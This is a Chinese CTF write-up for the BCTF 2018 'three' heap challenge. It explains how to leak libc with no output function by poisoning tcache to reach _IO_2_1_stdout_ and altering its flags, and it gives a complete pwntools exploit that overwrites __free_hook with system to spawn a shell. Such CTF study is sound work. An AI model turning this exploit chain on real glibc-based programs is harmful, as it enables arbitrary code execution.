无 leak 泄露 libc 思路 @ bctf 2018

发布于 2020-09-08  2989 次阅读


IO file 系列利用和题目,见参考资料 https://xz.aliyun.com/t/5853

stdout leak

我们在使用堆块的时候,容易造成任意地址写漏洞,但是如果程序开启了 PIE,并且没有任何输出函数,这个时候就需要利用 stdout的特性来对 libc 基址进行泄露了。

原理

  1. 堆块任意地址写
  2. stdout 中 flag 不同而对程序控制流造成改变
  3. _IO_write_base 的最低位被改变之后会泄露 libc 地址

堆块写

通常使用 tcache 进行任意地址写。

tcache 在 free 之后会保存 下一个 tcache 的地址,我们可以修改这个 fd 的为目的地址。

可是这个目的地址是未知的,我们应该如何寻找呢?

既然我们拥有了任意写地址的能力,那么我们可以

  1. 修改 fd 的最低位,从而控制本 tcache(记为 t0) 的 prev_sizesize 位(记为 t1)
  2. 修改 t0,从而使 t1 的性质发生改变(变成 small_chunk)
  3. free t0,使 t0->fd 存放 libc 地址(当然这一步之前需要先填满 tcache)
  4. 修改 t1,改回 t0 的性质。

file

这个时候,我们再修改 t0->fd 的最低两字节,因为这个时候 t0->fd = 0x7fffxxxxx,所以就能将目的地址指向 libc 的某个位置

因为 libc 中 最后 24bits 始终不变,所以这相当于我们有 1/16 的几率能够命中目标。

这时候我们将目标选中 _IO_2_1_stdout_

修改 stdout

这部分参见以下的源码分析

[http://pzhxbz.cn/?p=139]()

[https://n0va-scy.github.io/2019/09/21/IO_FILE/]()

简而言之,将 _flag 修改为 0xfbad3c80

并且将 _IO_write_base 的最低 8bits 改小,即可泄露 libc 地址

file

bctf2018 three exp

这道题只给了 add,edit,delete 选项,并且可操作堆块最多有三个

delete 处有 uaf

from pwn import *

local=1
pc='./three'
remote_addr=['',0]
aslr=False
context.log_level=True
context.terminal=["open-wsl.exe","-c"]

elf_dir = './three'
ld_dir = './ld-2.27.so'
libc_dir = './libc.so.6'

libc=ELF('./libc.so.6')

if local==1:
    p = process([ld_dir, elf_dir], env={"LD_PRELOAD": libc_dir})
    #p = process(pc,aslr=aslr)
    #gdb.attach(p,'c')
else:
    p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x) 
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,b'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,b'\x00'))

def choice(idx):
    sla("choice:",str(idx))

def add(content):
    choice(1)
    sa("content:",content)

def edit(idx,content):
    choice(2)
    sla("idx:",str(idx))
    sa("content:",content)

def free(idx,c):
    choice(3)
    sla(":",str(idx))
    sla(":",c)

if __name__ == '__main__':

    # to create a fd with libc_addr

    add("123")
    add(p64(0x11)*8)
    free(1,'y')
    free(0,'n')
    edit(0,p8(0x50))
    add('123')
    add(p64(0))
    free(1,'n')
    edit(2,p64(0)+p64(0x91))
    for i in range(0x7):
        free(1,'n')
    edit(2,p64(0)+p64(0x51))
    free(0,'y')
    edit(2,p64(0)+p64(0x91))
    #gdb.attach(p, 'b *$rebase(0xD87)')
    free(1,'y')

    # Bruteforce 4 bits to make fd point to _IO_2_1_stdout_
    edit(2,p64(0)+p64(0x51)+p16(0x7760)) 
    add("123")

    # Modify the flag and the write pointers
    add(p64(0xfbad3c80)+p64(0)*3+p8(0))
    rv(8)
    libc_addr=raddr()-0x3ed8b0
    lg("libc",libc_addr)
    lg("free_hook",libc_addr+libc.symbols['__free_hook'])
    libc.address=libc_addr
    ru("Done")
    free(0,'y')
    edit(2,p64(0)+p64(0x51)+p64(libc.symbols['__free_hook']))
    add("123")
    edit(2,p64(0)+p64(0x61)+p64(libc.symbols['__free_hook']))
    free(0,'y')
    add(p64(libc.symbols['system']))
    edit(2,'/bin/sh\x00')
    choice(3)
    gdb.attach(p)
    sla(":",str(2))
    p.interactive()

CTFer|NOIPer|CSGO|摸鱼|菜鸡